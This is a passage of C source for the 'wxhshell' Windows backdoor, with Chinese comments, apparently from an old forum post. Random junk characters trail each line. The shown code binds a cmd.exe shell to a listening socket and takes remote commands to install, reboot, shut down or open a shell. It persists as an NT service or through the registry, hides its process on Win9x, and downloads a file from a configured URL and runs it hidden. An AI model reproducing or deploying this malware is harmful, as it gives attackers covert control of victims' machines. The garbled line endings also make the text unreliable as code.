  // 帮助 A- #c1KU!  
  case '?': { ^'b\OUty-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g- INhzMu  
    break; rPifiLl A>  
  } R!x /,6,_  
  // 安装 PnI_W84z  
  case 'i': { +' .o  
    if(Install())  bWZzb&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eQ =6< ^KZ  
    else 9A\\2Zz6F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AC?a:{ ./  
    break; ]==S?_.B3n  
    } {'?PGk%v  
  // 卸载 97}l`z;Z  
  case 'r': { *44E'Dxv  
    if(Uninstall()) O%} hNTS"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @< 0c  
    else S'IQbHz*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5~i}!n  
    break; 3#`Sk`z<  
    } i)]^b{5nyB  
  // 显示 wxhshell 所在路径 9N<TJp,q  
  case 'p': { Z =*h9,MY  
    char svExeFile[MAX_PATH]; %e/L .#0  
    strcpy(svExeFile,"\n\r"); _+0c<'  
      strcat(svExeFile,ExeFile); k& ]I;Aq  
        send(wsh,svExeFile,strlen(svExeFile),0); u6*0% Km  
    break; ~(.&nysZ-  
    } "3Ckc"G@  
  // 重启 R\u5!M$::  
  case 'b': { 0\o5+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qcBamf  
    if(Boot(REBOOT)) *OY Nx4k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +3R/g@n  
    else { _U~~[I  
    closesocket(wsh); &&sm7F%  
    ExitThread(0); bI)%g  
    } lygv#s-T  
    break; q9$K.=_5  
    } ,e*WJh8k[  
  // 关机 AIM<mU  
  case 'd': { 'W p~8}i@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mbIHzzW>  
    if(Boot(SHUTDOWN)) A] f^9F@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %^;rYn3  
    else { *adwCiB  
    closesocket(wsh); 9%?a\#C  
    ExitThread(0); -JdNA2P  
    } h,i=Y+1  
    break; 2)|G%f_lS  
    } LH q~`  
  // 获取shell @u-CR8^  
  case 's': { gt(!I^LHYc  
    CmdShell(wsh); Gmmh&Uj  
    closesocket(wsh); .fNLhyd  
    ExitThread(0); Ot~buf'|  
    break; %?O$xQ.<  
  } TA"gU8YQ  
  // 退出 x\Kt}/97e  
  case 'x': { wQOIUvd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Q1oSpF  
    CloseIt(wsh); W`jKe-jF  
    break; zm=|#f  
    } =n_>7@9l  
  // 离开 &^F'ME  
  case 'q': { -EWC3,3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *7yrm&@nG  
    closesocket(wsh); SA,+oq(  
    WSACleanup(); ded:yho   
    exit(1); %$+bO/f  
    break; O|&SL03Z8  
        } aydf# [F  
  } *#o2b-[V  
  } ])Z p|?Y  
ua%j}%G(  
  // 提示信息 |k/;1.b!9(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -^$IjK-N  
} sbq:8P#  
  } ?#/~ BZR!  
O _^Y*!  
  return; AXPdgo6  
} X[1w(dU[  
##yH*{/&  
// shell模块句柄 zQsW*)L  
int CmdShell(SOCKET sock) :gx]zxK  
{ i [2bz+Z?  
STARTUPINFO si; :eR\0cn  
ZeroMemory(&si,sizeof(si)); eY'RDQa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'F^"+Xi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #UqE %g`J  
PROCESS_INFORMATION ProcessInfo; 2;ac&j1  
char cmdline[]="cmd"; &MJ`rj[%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J!5&Nc  
  return 0; #} `pj}tQ  
} n6#z{,W<3  
|DXi~  
// 自身启动模式 )3)fq:[  
int StartFromService(void) 9_J'P2e  
{ d@+u&xrd  
typedef struct X->` ~-aj  
{ dwUs[v   
  DWORD ExitStatus; .|2[! 7CXH  
  DWORD PebBaseAddress; z_nY>_L83*  
  DWORD AffinityMask; IMHt#M`  
  DWORD BasePriority; X/A(8rvCr  
  ULONG UniqueProcessId; dY.NQ1@"  
  ULONG InheritedFromUniqueProcessId; mZL0<vU@^  
}   PROCESS_BASIC_INFORMATION; lQ?_1H~4=  
\S)cVp)h  
PROCNTQSIP NtQueryInformationProcess; (Cbm*VL  
\m~Oaf;$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <d$t*vnq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C&RZdh,$  
p w=o}-P{  
  HANDLE             hProcess; O`0\f8/.?  
  PROCESS_BASIC_INFORMATION pbi; OBnvY2)Ri  
uB+ :sX-L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \-{2E  
  if(NULL == hInst ) return 0; NnO%D^P]  
u~1 ,88&U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .N  Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GBGna3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r5PZ=+F  
x{$/|_  
  if (!NtQueryInformationProcess) return 0; ffem7eQ  
nF=[m; ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9]^NAlno  
  if(!hProcess) return 0; a- 7RJ.  
SnG XEQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <O~ieJim  
saVX2j6Y  
  CloseHandle(hProcess); O\}w&BE:h  
g ~>nT>6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P +Sgbtc  
if(hProcess==NULL) return 0; w9CX5Fg  
xgZ<. r  
HMODULE hMod; [ lE^0_+  
char procName[255]; ]1|OQYG  
unsigned long cbNeeded; :VlMszy}B3  
E[Ao*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G%SoC  
Ft?Y c 5  
  CloseHandle(hProcess); hF9y^Hx4  
agnEYdM_  
if(strstr(procName,"services")) return 1; // 以服务启动 LBnlaH.  
fY 10a_@x  
  return 0; // 注册表启动 km6O3> p5r  
} 4}*V=>z  
Bn*QT:SKC  
// 主模块 N'I9J?e Q  
int StartWxhshell(LPSTR lpCmdLine) :qtg`zM/4  
{ >9X+\eg-  
  SOCKET wsl; X9ec*x  
BOOL val=TRUE; 5YQJNP  
  int port=0; lYy:A%yDT  
  struct sockaddr_in door; @[j%V ynf  
C0H@  
  if(wscfg.ws_autoins) Install(); WM GiV  
j&`D{z-c~  
port=atoi(lpCmdLine); Eg$Er*)h8  
5$/Me=g<  
if(port<=0) port=wscfg.ws_port; :-cqC|Y  
\1#~]1~ s  
  WSADATA data; FES0lw{G#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r-&* `Jh  
o> yo9n%t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b:x*Hjf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m0JJPBp  
  door.sin_family = AF_INET; s,7 OoLE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )?k~E=&o  
  door.sin_port = htons(port); PH=O>a`a_O  
oX?~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gg$:U  
closesocket(wsl); *)Pb-c  
return 1; VoNk.h"T  
} K9S(Xip  
XknbcA|  
  if(listen(wsl,2) == INVALID_SOCKET) { NP$ D9#   
closesocket(wsl); $%5vJiuk  
return 1; G:Nwi=vN  
} ._`?ZJ  
  Wxhshell(wsl); ]v0=jm5A  
  WSACleanup(); 3OJGBiDAr  
1b8}TG2  
return 0; 10m`LG  
&}FWpo!  
} 0B(Y{*QB  
CZ ,2Rq  
// 以NT服务方式启动 Dos';9Uq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^fti<Lw5  
{ hIwqSKq9  
DWORD   status = 0; n/+G^:~_  
  DWORD   specificError = 0xfffffff; L EY k  
k<%y+v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (^^}Ke{J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oC(.u?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RHuc#b0  
  serviceStatus.dwWin32ExitCode     = 0; Enqs|fkbN  
  serviceStatus.dwServiceSpecificExitCode = 0; #6nuiSF  
  serviceStatus.dwCheckPoint       = 0; }Hb_8P  
  serviceStatus.dwWaitHint       = 0; sDyt3xN  
+xBM\Dz8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T$tO[QR/  
  if (hServiceStatusHandle==0) return; *TYOsD**9  
)D ':bWP  
status = GetLastError(); h~k+!\  
  if (status!=NO_ERROR) _j|U>s   
{ HvW6=d(#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '.#3h$d  
    serviceStatus.dwCheckPoint       = 0; 6R!AIOD>  
    serviceStatus.dwWaitHint       = 0; MG74,D.f  
    serviceStatus.dwWin32ExitCode     = status; T@Th?  
    serviceStatus.dwServiceSpecificExitCode = specificError; BU=Ta$#BZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$+nl~p[&  
    return; NzbHg p  
  } MDfC%2Q  
u{|^5%)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QVWUm!  
  serviceStatus.dwCheckPoint       = 0; +aRHMH  
  serviceStatus.dwWaitHint       = 0; X/23 /_~L`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &5 R-bYGW  
} y_{v&AGmgm  
&(~"OD  
// 处理NT服务事件,比如:启动、停止 3 /LW6W|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6?= ^8  
{ t flUy\H>  
switch(fdwControl) 4_o+gG%HaM  
{ 49dN~k=  
case SERVICE_CONTROL_STOP: It5n;,n  
  serviceStatus.dwWin32ExitCode = 0; zc!q a"4yM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yz_xWx#9  
  serviceStatus.dwCheckPoint   = 0; >;k~B  
  serviceStatus.dwWaitHint     = 0;  q #X[oVq  
  { \"$jj<gc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .< -~k@ P  
  } x$6FvgP(  
  return; cDh\$7'b  
case SERVICE_CONTROL_PAUSE: J24H}^~na  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wyv%c/WlS  
  break; ]}nX$xy  
case SERVICE_CONTROL_CONTINUE: (z X&feq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C<N7zMwT  
  break; Px?0)^"2  
case SERVICE_CONTROL_INTERROGATE: WsR4)U/]v  
  break; fl<j]{*v  
}; #\MkbZc d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IdciGS6 t  
} >~@ABLp 6  
+<f!#4T  
// 标准应用程序主函数 p *GAs C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q:G3y[ P  
{ pcPRkYT[ M  
Is }?:ET  
// 获取操作系统版本 RH&}'4JE:  
OsIsNt=GetOsVer(); BmCBC,j<v>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qim|=  
5S&^mj-9  
  // 从命令行安装 uN(N2m  
  if(strpbrk(lpCmdLine,"iI")) Install(); k:CSH{s5{  
*|)O  
  // 下载执行文件 W29GM -,K  
if(wscfg.ws_downexe) { _H$Z }2g<z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )Tad]Hd"W  
  WinExec(wscfg.ws_filenam,SW_HIDE); K?,`gCN}v  
} Hv|(V3-  
{fu[&@XV  
if(!OsIsNt) { ufS0UD8%H  
// 如果时win9x,隐藏进程并且设置为注册表启动 hPrE  
HideProc(); n16TQe"8  
StartWxhshell(lpCmdLine); *ZF:LOnU  
} s:Z1 ZAxv  
else mp17d$R-  
  if(StartFromService()) 3H,>[&d  
  // 以服务方式启动 )-S;j)(+  
  StartServiceCtrlDispatcher(DispatchTable); T%1Kh'92  
else H^8t/h  
  // 普通方式启动 |p":s3K"Hy  
  StartWxhshell(lpCmdLine); ]d,#PF  
`-<m#HF:)d  
return 0; + )*aS+  
}
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只看该作者 1 发表于: 2006-10-10
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